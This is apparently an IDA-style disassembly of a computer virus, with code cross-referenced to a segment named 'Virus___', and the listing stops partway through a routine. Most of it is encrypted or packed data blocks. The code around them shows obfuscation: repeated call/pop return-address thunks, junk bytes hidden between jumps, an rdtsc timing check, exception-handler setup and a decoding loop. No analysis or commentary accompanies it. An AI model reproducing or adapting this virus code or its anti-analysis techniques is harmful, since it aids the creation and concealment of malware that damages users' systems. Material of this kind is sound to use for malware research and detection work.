; ---------------------------------------------------------------------------
		db 84h
		dd 796D2728h, 5D9D33ECh, 50071B27h, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 12E958h, 0E1680000h, 0B86A19F9h
		dd 26EFA0B5h, 20E74FB9h, 0AC1AFCDFh, 10DB589h, 0BD83071Bh
		dd 71B2165h, 0A9840F00h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0AD2AC352h
		dd 0BE9h, 16F48600h, 0B607E62Eh, 0B8783869h, 0B8h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 9589A7EFh, 71B0329h,	4F898D8Dh, 67B3071Bh, 6AE1FFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 6A0E37C3h, 56502D57h, 8BE46CD9h, 1B30359Dh, 13E807h
		dd 64EF0000h, 0C8790131h, 28B634C0h, 0B4BD2B19h, 8ED918ACh
		dd 358D894Ah, 5F071B35h, 18CDBD83h, 0F00071Bh, 46C84h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 7C5A27BFh, 99E57994h, 6E80838h, 0B1000000h
		dd 0A0362D35h, 61606066h, 890Fh, 5B610000h, 18CDBD83h
		dd 0F01071Bh, 43F84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 8CC93F05h, 8589262Bh
		dd 71B00F5h, 1685BD8Bh,	0BD83071Bh, 71B18CDh, 0CF860F03h
		dd 6A000003h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0F1CCC350h, 605F5753h,	316C1EBBh
		dd 0D98C6620h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	5FC35040h, 0BD8B1294h, 71B0D91h, 21DD8501h, 0E180071Bh
		dd 53006A04h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 98D0179h, 0A071B0Ah, 3F840FC9h, 3000001h
		dd 1B24119Dh, 0E5858B07h, 6A071B30h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0F615C355h
		dd 43945E96h, 558533B4h, 6A071B30h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0BB94C350h
		dd 8BA5C996h, 1B189DBDh, 0AEF8107h, 50579A6Fh, 9B35250h
		dd 8B66310Fh, 89585AD9h, 6A2404h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 5AE2E9C3h, 13E9h, 698F4C00h
		dd 16B7BA17h, 0A18A2C1Fh, 0B46EAC22h, 8D905287h, 6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 4C9794C3h, 0D4AC136h, 0B70F2B39h, 0DE0C68D8h, 8B6089BEh
		dd 0CB8B66DFh, 24048161h, 766025F3h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0C5C35545h,	0BD8B310Ah, 71B3349h
		dd 4E995FFh, 6A071Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 9F5244C3h, 85895299h, 71EABC8h
		dd 890Fh, 0B7E90000h, 80000001h, 858B7DDFh, 71EABC0h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0C4C35343h, 1C525B23h
		dd 181BAB1h, 1B251DB5h,	1800C707h, 8B000000h, 1B31159Dh
		dd 0C4B58B07h, 6A071EABh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 9210C355h, 0FF3795Ah
		dd 68Ah, 0EDBD2B00h, 8B071B2Ah,	1B014985h, 0AD9D8B07h
		dd 89071B23h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 1EEDF377h, 0E176D44Ah, 0FDF3BB66h
		dd 30E5858Bh, 6A071Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0FF124C3h, 1485h, 0FE900h, 94160000h
		dd 1ED562DBh, 7C09C9E2h, 454A89ADh, 446892Eh, 5B04B751h
		dd 8B666050h, 348961CEh, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 9B2F7172h, 0ABC0B5FFh
		dd 0BD29071Eh, 71B1F3Dh, 4E8h, 1F03FF00h, 12E95000h, 65000000h
		dd 0F9684534h, 0F0E22F82h, 0A7BCD393h, 0E340CF3Eh, 8B505FC2h
		dd 8B042444h, 24448900h, 58FE8A04h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 64C35141h, 0ABC8858Dh, 0EE9071Eh
		dd 6B000000h, 0CF9E3AAAh, 0AD4039A0h, 13571085h, 0BF0F56DAh
		dd 0E8505FF9h, 0Eh, 0C6C6A056h,	76CEE51Ch, 0DBE2F02Bh
		dd 0DE8BAA60h, 2404895Bh, 5E9h,	0DF56EE00h, 95FFBF92h
		dd 71B04E9h, 1BED9589h,	2961071Bh, 1B285585h, 0CD85C707h
		dd 3071B18h, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0F703C353h,	0E7DD70CEh
		dd 8D9D8B1Eh, 83071B2Dh, 1EABC8BDh, 840F0007h, 16h, 0CCC38166h
		dd 1EDF8135h, 0E9371D08h, 21h, 4D9D8Bh,	3050071Bh, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 2BBF66C0h
		dd 55006A9Bh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0CD65CCAAh, 0FCBC9E4h, 18CDBD83h, 0F03071Bh
		dd 41785h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 759D8B42h, 83071B09h, 1EABC8BDh
		dd 840F0007h, 3E8h, 818D8B60h, 31071B0Dh, 1B1C7995h, 0B5FF6107h
		dd 71EABC8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	3BC35040h, 45BD8BE4h, 0FF071B27h, 1B09A595h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 95C641ADh, 0E6C1BAF1h, 0CB815020h, 53AA135Ch, 0BCB58B5Fh
		dd 0F9071EABh, 106C7h, 6A0001h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0E1E94FC3h, 0F43F9A28h
		dd 6620F059h, 0E996FA8Bh, 0Eh, 0D3A9B8BEh, 0B6800B92h
		dd 0E676532Ch, 5050FC1Fh, 8B525052h, 60310FDFh,	0F585A61h
		dd 0BF525031h, 7F033FCFh, 0FE8310Fh, 0E5000000h, 0D4193BACh
		dd 51CB2B9Fh, 470ECA52h, 5A5B1DB7h, 96585A58h, 17DD9D8Bh
		dd 0B5FF071Bh, 71EABC8h, 356195FFh, 6A071Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 68DFECC3h
		dd 0F98AA3D3h, 5E9h, 0D0B60C00h, 0B58B2E48h, 71EABBCh
		dd 858B5F56h, 71B0411h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0E5C35343h, 17644588h, 0BF6623CFh, 8689B4CAh
		dd 0C4h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 15h,	7DC35141h, 0C58D3121h, 8B071B30h, 1B29B595h, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0EC53A249h, 83B00790h, 6A04C2h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0F4CF92C3h, 982A6629h
		dd 0B7242229h, 880F605Ch, 1, 0F58D29F5h, 61071B35h, 89205089h
		dd 1B089D8Dh, 0F9858D07h, 0F071EBFh, 8689FABFh,	0B8h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0BEC35141h, 6A29BDh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0DCC35343h
		dd 0B5FFF824h, 71EABC8h, 28D5BD89h, 0F380071Bh,	0DD95FFA4h
		dd 8B071B09h, 1B09D59Dh, 3EBF5007h, 897FC7F0h, 95012434h
		dd 71B2ED9h, 0ABC8B5FFh, 820F071Eh, 16h, 0AE8h,	198CD700h
		dd 0DB3B86C7h, 8B01D4FBh, 1B0425BDh, 95FF5B07h,	71B0341h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0C4C35343h
		dd 21BBA73h, 31BD833Bh,	71B24h,	29840Fh, 0DC8A0000h, 24348950h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 4C35343h
		dd 0A051A936h, 0FF826A2Bh, 1EABC8B5h, 5E807h, 6FF10000h
		dd 0E9663470h, 0Eh, 5E36F3CAh, 0DE16E434h, 0D723602Ah
		dd 0FF5B107Ah, 1B18A595h, 0C8B5FF07h, 66071EABh, 8B7620BFh
		dd 1B358DBDh, 3D95FF07h, 6A071B29h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 9FCCC355h
		dd 83649093h, 1B28F1BDh, 840F0207h, 75h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 17h, 0EFC35242h, 8BB0716Dh
		dd 1B007D85h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 1A22CFB0h, 9C19D8Bh, 0C6071Bh, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 6860FE1h, 8B000000h,	1B16EDBDh, 9185C707h, 71B09h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0A4F7C355h, 0FFF3A8E9h, 51006AFFh, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 0BA518347h, 66B06021h, 0FABF0F33h, 6AC18Bh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 2D0DF6C3h, 0EB8144BEh, 3D7E2AE5h, 1255858Dh,	0DF8B071Bh
		dd 32ACBB50h, 4897B05h,	12E95024h, 32000000h, 6136AC2Ah
		dd 0F4259CADh, 5F23684Fh, 2C8B1F0Bh, 6A5B56h, 6A006Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 8E0F44C3h, 6, 0A799589h, 858D071Bh, 7201D7Dh, 1459BD33h
		dd 0C083071Bh, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 91A609C3h, 60565008h
		dd 473EBE66h, 5F616160h, 80240489h, 6A8AD7h, 142D9589h
		dd 2DBF071Bh, 6A6CF369h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 76F0DF04h, 95FFF9B5h
		dd 71B1EA9h, 24598D01h,	8D8D071Bh, 71E979Ch, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 1FC35646h, 4F70706Bh
		dd 0C54FE734h, 8BD1FFC3h, 1B00459Dh, 5BD8307h, 1071B21h
		dd 61850Fh, 0BE90000h, 4A000000h, 0A61F500Ch, 69F162DFh
		dd 26A0991h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	0F5C35141h, 0FB8B2208h,	9CBB6650h, 240489BAh, 5721B9BBh
		dd 0DD95FF05h, 6A071B09h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0E949C352h,	0E7Dh
		dd 0E8h, 0ED815D00h, 7201D87h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 2DC35343h, 0A384EC47h, 9D09BF49h
		dd 71B28D9h, 16418529h,	858D071Bh, 71E9202h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0F7C35646h, 84CFA2ADh
		dd 68B0F60h, 81000000h,	0D3B6DBF3h, 0F5858B4Ah,	61071B2Ah
		dd 0D890F90h, 0E9000000h, 8, 13389AC3h,	0FE193505h, 0F525050h
		dd 8Dh,	0E9310F00h, 0Dh, 0D7605E4Ah, 490F63B1h,	7674E763h
		dd 90585A41h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Dh,	0ADC35040h, 0C37E2B44h,	38351AD7h, 35FF6434h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_58CFCB
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58CFCB	proc near		; CODE XREF: Virus___:0058CFC3p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_58CFCB	endp

; ---------------------------------------------------------------------------
		db 33h
; ---------------------------------------------------------------------------
		mov	large fs:0, esp
		push	ecx
		jmp	loc_58CFEF
; ---------------------------------------------------------------------------
		db 0A2h, 0EBh, 5Bh
		db 5Ah,	48h, 0D8h
; ---------------------------------------------------------------------------


loc_58CFEF:				; CODE XREF: Virus___:0058CFE4j
		pop	edi
		inc	dword ptr [ebp+71B264Dh]
		jmp	loc_58D00B
; ---------------------------------------------------------------------------
		db 47h
		dd 6919466Ah, 0D288DC09h, 0D69A19C9h
		db 0B2h, 0E3h, 0F4h
; ---------------------------------------------------------------------------


loc_58D00B:				; CODE XREF: Virus___:0058CFF6j
					; Virus___:loc_58DD38j
		push	0FFFFFFFFh
		push	0
		push	ebx
		call	sub_58D018
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D018	proc near		; CODE XREF: Virus___:0058D010p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_58D018	endp

; ---------------------------------------------------------------------------
		dd 0A5B3D6FDh, 6BE8AED3h, 0D8BF0F1Bh, 32A5BD89h, 5E8071Bh
		dd 1F000000h, 0E53226E6h, 0FF5FDE8Bh, 1B33E5B5h, 79F78107h
		dd 0FF313AFCh, 1B2F4595h, 11EE907h, 0EF810000h,	3436C298h
		dd 7E800B0h, 0A5000000h, 0D457FBACh, 7E85DCDh, 0AF000000h
		dd 700196C3h, 0FE8A8D36h, 70E65F5Bh, 816671E4h,	8934DDD7h
		dd 1B08958Dh, 0F613C07h, 0E383h, 840F00h, 0F000000h, 6BAC8B6h
		dd 89000000h, 1B0D3DB5h, 60C18B07h, 0BE9h, 0DE8CC600h
		dd 0B718EAC0h, 38C76BE4h, 61FABF0Fh, 8B04E8C1h,	1B30ED9Dh
		dd 0E2F76607h, 5DB531h,	0C82B071Bh, 358DBD01h, 0D18B071Bh
		dd 98C78166h, 92E95Eh, 8D090000h, 71B287Dh, 554C858Bh
		dd 95894947h, 71B2E69h,	6607C083h, 0C083DF8Bh, 0FFA8B00h
		dd 685h, 93E78100h, 3B0EF59Ah, 25830FD0h, 8B000000h, 1B32E1BDh
		dd 56E907h, 95890000h, 71B215Dh, 6800F60h, 89000000h, 1B26898Dh
		dd 0E9953107h, 61071B24h, 0FFFF8D8Bh, 0B589FFFFh, 71B21B1h
		dd 0F01E183h, 2784h, 81666000h,	0B92A01DEh, 2511D196h
		dd 0FFA58361h, 0FEFFFFFFh, 20DDBD8Bh, 9589071Bh, 4947554Ch
		dd 0E92DF380h, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+71F9B60h]
		push	0
		push	ecx
		call	sub_58D18D
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D18D	proc near		; CODE XREF: Virus___:0058D185p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_58D18D	endp

; ---------------------------------------------------------------------------
		wait
		mov	ah, 0B2h
		mov	ecx, eax
		fistp	dword ptr [ecx]
		pusha
		add	al, 0CFh
		and	ecx, 1585445Bh
		popa
		mov	edi, 594470Fh
		push	0
		push	0
		push	edi
		call	sub_58D1C1
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D1C1	proc near		; CODE XREF: Virus___:0058D1B9p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_58D1C1	endp

; ---------------------------------------------------------------------------
		db 7Fh,	0F2h, 89h
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		mov	ds:95FF071Bh, eax
		mov	[edx], edx
		sbb	eax, [edi]
		push	0
		push	ecx
		call	sub_58D1EA
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D1EA	proc near		; CODE XREF: Virus___:0058D1E2p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_58D1EA	endp

; ---------------------------------------------------------------------------
		inc	esi
		mov	eax, ds:8153ED86h
		push	ebp
		push	0FFFFFF8Ch
		movsx	ebx, ax
		mov	[ebp+71B1B05h],	eax
		mov	ecx, 0EC1h
		sub	[ebp+71B2875h],	esi
		mov	edi, [ebp+71B2891h]
		and	ecx, 0FFFFFFFCh
		movzx	edi, bx
		cld
		mov	[ebp+71B2271h],	eax
		mov	eax, 0
		mov	ebx, 20672892h
		mov	edx, 0
		push	0
		push	edi
		call	sub_58D244
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D244	proc near		; CODE XREF: Virus___:0058D23Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_58D244	endp

; ---------------------------------------------------------------------------
		xchg	eax, edi
		stosd
		xor	bl, 0D2h
		jnb	$+6


loc_58D25F:				; CODE XREF: Virus___:0058D269j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_58D25F
		push	0
		push	eax
		call	sub_58D276
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D276	proc near		; CODE XREF: Virus___:0058D26Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_58D276	endp

; ---------------------------------------------------------------------------
		mov	dword ptr [ecx+201C4DD3h], 0B59D8B48h
		das
		sbb	eax, [edi]
		mov	[ebp+71B2639h],	ebx
		or	eax, 88h
		push	0
		push	ecx
		call	sub_58D2A9
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D2A9	proc near		; CODE XREF: Virus___:0058D2A1p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_58D2A9	endp

; ---------------------------------------------------------------------------
		call	dword ptr [edx+esi*2-6A76C57Eh]
		jno	short near ptr loc_58D2C7+4
		sbb	eax, [edi]
		movsx	edi, ax


loc_58D2C7:				; CODE XREF: Virus___:0058D2C0j
		mov	edx, [ebp+71B29B5h]
		mov	edi, [ebp+71B0311h]
		mov	ecx, [ebp+71B02F5h]


loc_58D2D9:				; CODE XREF: Virus___:0058D2F4j
		push	0
		push	edi
		call	sub_58D2E4
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D2E4	proc near		; CODE XREF: Virus___:0058D2DCp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_58D2E4	endp

; ---------------------------------------------------------------------------
		jz	short loc_58D2D9
		setalc
		mov	[ebp+71B08B5h],	edi
		push	eax
		mov	eax, edx
		mov	ebx, [eax]
		add	eax, ecx
		mov	ebx, [eax]
		mov	eax, ecx
		shr	eax, 1
		add	eax, edx
		mov	ebx, [eax]
		pop	eax
		push	0
		push	edi
		call	sub_58D31A
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D31A	proc near		; CODE XREF: Virus___:0058D312p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_58D31A	endp

; ---------------------------------------------------------------------------
		fmul	dword ptr [ebx+1B27259Dh]
		pop	es
		mov	edi, edx
		cmp	dword ptr [ebp+71B2165h], 0
		jz	loc_58D38C
		xor	di, 0EA4Ch
		mov	eax, 0
		sbb	bx, 0E80Dh
		lea	ecx, [ebp+71B4F89h]
		mov	ebx, [ebp+71B0CF5h]
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_58D368
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D368	proc near		; CODE XREF: Virus___:0058D360p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_58D368	endp

; ---------------------------------------------------------------------------
		dd 2A0F23Dh, 8F0F11C2h,	8, 2870Fh, 5B560000h
; ---------------------------------------------------------------------------


loc_58D38C:				; CODE XREF: Virus___:0058D33Aj
		cmp	dword ptr [ebp+71B18CDh], 0
		jz	loc_58D8EB
		push	0
		push	edx
		call	sub_58D3A4
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D3A4	proc near		; CODE XREF: Virus___:0058D39Cp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_58D3A4	endp

; ---------------------------------------------------------------------------
		mov	ebx, 0B757A4CCh
		cmp	dword ptr [ebp+71B18CDh], 1
		jz	loc_58D906
		mov	edi, [ebp+71B00A5h]
		cmp	dword ptr [ebp+71B18CDh], 3
		jbe	loc_58D8D0
		push	0
		push	edi
		call	sub_58D3E4
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D3E4	proc near		; CODE XREF: Virus___:0058D3DCp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_58D3E4	endp

; ---------------------------------------------------------------------------
		test	dword ptr [edi+1D4981FFh], 60235CDCh
		push	0
		push	ebp
		call	sub_58D409
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D409	proc near		; CODE XREF: Virus___:0058D401p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_58D409	endp

; ---------------------------------------------------------------------------


loc_58D419:				; CODE XREF: Virus___:0058D41Dj
		mov	bh, 0BDh
		test	al, 0B8h
		jecxz	short loc_58D419
		mov	ebx, [ebp+71B1525h]
		mov	cx, ds
		mov	ebx, [ebp+71B3009h]
		mov	[ebp+71B2EA9h],	edi
		and	cl, 4
		push	0
		push	ebp
		call	sub_58D442
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D442	proc near		; CODE XREF: Virus___:0058D43Ap

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_58D442	endp

; ---------------------------------------------------------------------------
		dw 0E95Fh
; ---------------------------------------------------------------------------
		mov	bh, 5Bh
		or	cl, cl
		jz	loc_58D623
		adc	ebx, 5A2C1E14h
		mov	edi, 1C0AB000h
		mov	eax, [ebp+71B30E5h]
		push	0
		push	ecx
		call	sub_58D47A
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D47A	proc near		; CODE XREF: Virus___:0058D472p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_58D47A	endp

; ---------------------------------------------------------------------------
		push	ebp
		rcl	byte ptr [ecx-316FA28Eh], 1
		mov	ebx, 9D8BD2F0h
		icebp
		xor	ebx, [ebx]
		pop	es
		xor	eax, [ebp+71B3055h]
		jmp	loc_58D4B2
; ---------------------------------------------------------------------------
		db 1, 82h, 0E7h
		dd 0DB99C63Dh, 0D1CD00F1h
; ---------------------------------------------------------------------------
		mov	ss, dx


loc_58D4B2:				; CODE XREF: Virus___:0058D4A0j
		jmp	loc_58D4C3
; ---------------------------------------------------------------------------
		db 0DEh
		dd 6D50AA59h, 85E439BCh
		db 21h,	0B9h, 40h
; ---------------------------------------------------------------------------


loc_58D4C3:				; CODE XREF: Virus___:loc_58D4B2j
		nop
		mov	di, dx
		push	eax
		pusha
		push	eax
		push	edx
		mov	dx, 6606h
		rdtsc
		pop	edx
		pop	eax
		call	sub_58D4EB
		dec	edi
		retn	411Ch
; ---------------------------------------------------------------------------
		dd 5482FC27h, 74C7E73Ch, 0DEE3FC96h
		db 2Dh,	51h, 0BCh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_58D4EB	proc near		; CODE XREF: Virus___:0058D4D3p
		jmp	sub_58D4F8
sub_58D4EB	endp

; ---------------------------------------------------------------------------
		or	al, 0ABh
		jz	short near ptr loc_58D55C+2
		cmc
		retn	463Ah

; =============== S U B	R O U T	I N E =======================================



sub_58D4F8	proc near		; CODE XREF: sub_58D4EBj
		pop	edi
		popa
		nop
		push	0
		push	ebx
		call	sub_58D506
		and	[ebx-3Dh], bl
sub_58D4F8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_58D506	proc near		; CODE XREF: sub_58D4F8+6p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_58D506	endp

; ---------------------------------------------------------------------------
		dw 7C03h
		dd 3C7CC2EFh, 8C63404Fh, 188BEF81h, 6A482Ch, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 51C35545h, 19BB803Dh
		dd 0E82F75BDh, 4, 1F03FFh, 0C47642BFh, 870F502Ah
; ---------------------------------------------------------------------------


loc_58D55C:				; CODE XREF: Virus___:0058D4F2j
		add	eax, 0BB000000h
		mov	ax, 0B5h
		mov	eax, [esp+4]
		js	loc_58D58D
		ja	loc_58D58D
		jmp	loc_58D58D
; ---------------------------------------------------------------------------
		push	edi
		mov	eax, ds:0B81B1E5h
		or	esi, ebx
		cmp	esi, [ebx-2709A008h]
		cmp	eax, 6E11F81h


loc_58D58D:				; CODE XREF: Virus___:0058D569j
					; Virus___:0058D56Fj ...
		mov	eax, [eax]
		mov	bh, 0B9h
		mov	[esp+4], eax
		mov	ebx, 8D15121h
		pop	eax
		push	0
		push	ecx
		call	sub_58D5A6
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D5A6	proc near		; CODE XREF: Virus___:0058D59Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_58D5A6	endp

; ---------------------------------------------------------------------------
		push	es
		sar	byte ptr [eax+2AADBD8Bh], 1
		sbb	eax, [edi]
		call	dword ptr [ebp+71B04E9h]
		push	0
		push	eax
		call	sub_58D5D0
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D5D0	proc near		; CODE XREF: Virus___:0058D5C8p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_58D5D0	endp

; ---------------------------------------------------------------------------
		mov	ch, 0F8h
		mov	[ebp+71EABC8h],	eax
		mov	ebx, 39F5D549h
		jmp	loc_58D834
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_58D5FD
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D5FD	proc near		; CODE XREF: Virus___:0058D5F5p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_58D5FD	endp

; ---------------------------------------------------------------------------
		db 0Bh,	43h, 9Dh
		dd 0D9B589EFh, 0F071B29h, 688h,	99BD8B00h
; ---------------------------------------------------------------------------
		adc	al, 1Bh
		pop	es


loc_58D623:				; CODE XREF: Virus___:0058D458j
		mov	eax, [ebp+71EABC0h]
		push	0
		push	edx
		call	sub_58D634
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58D634	proc near		; CODE XREF: Virus___:0058D62Cp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
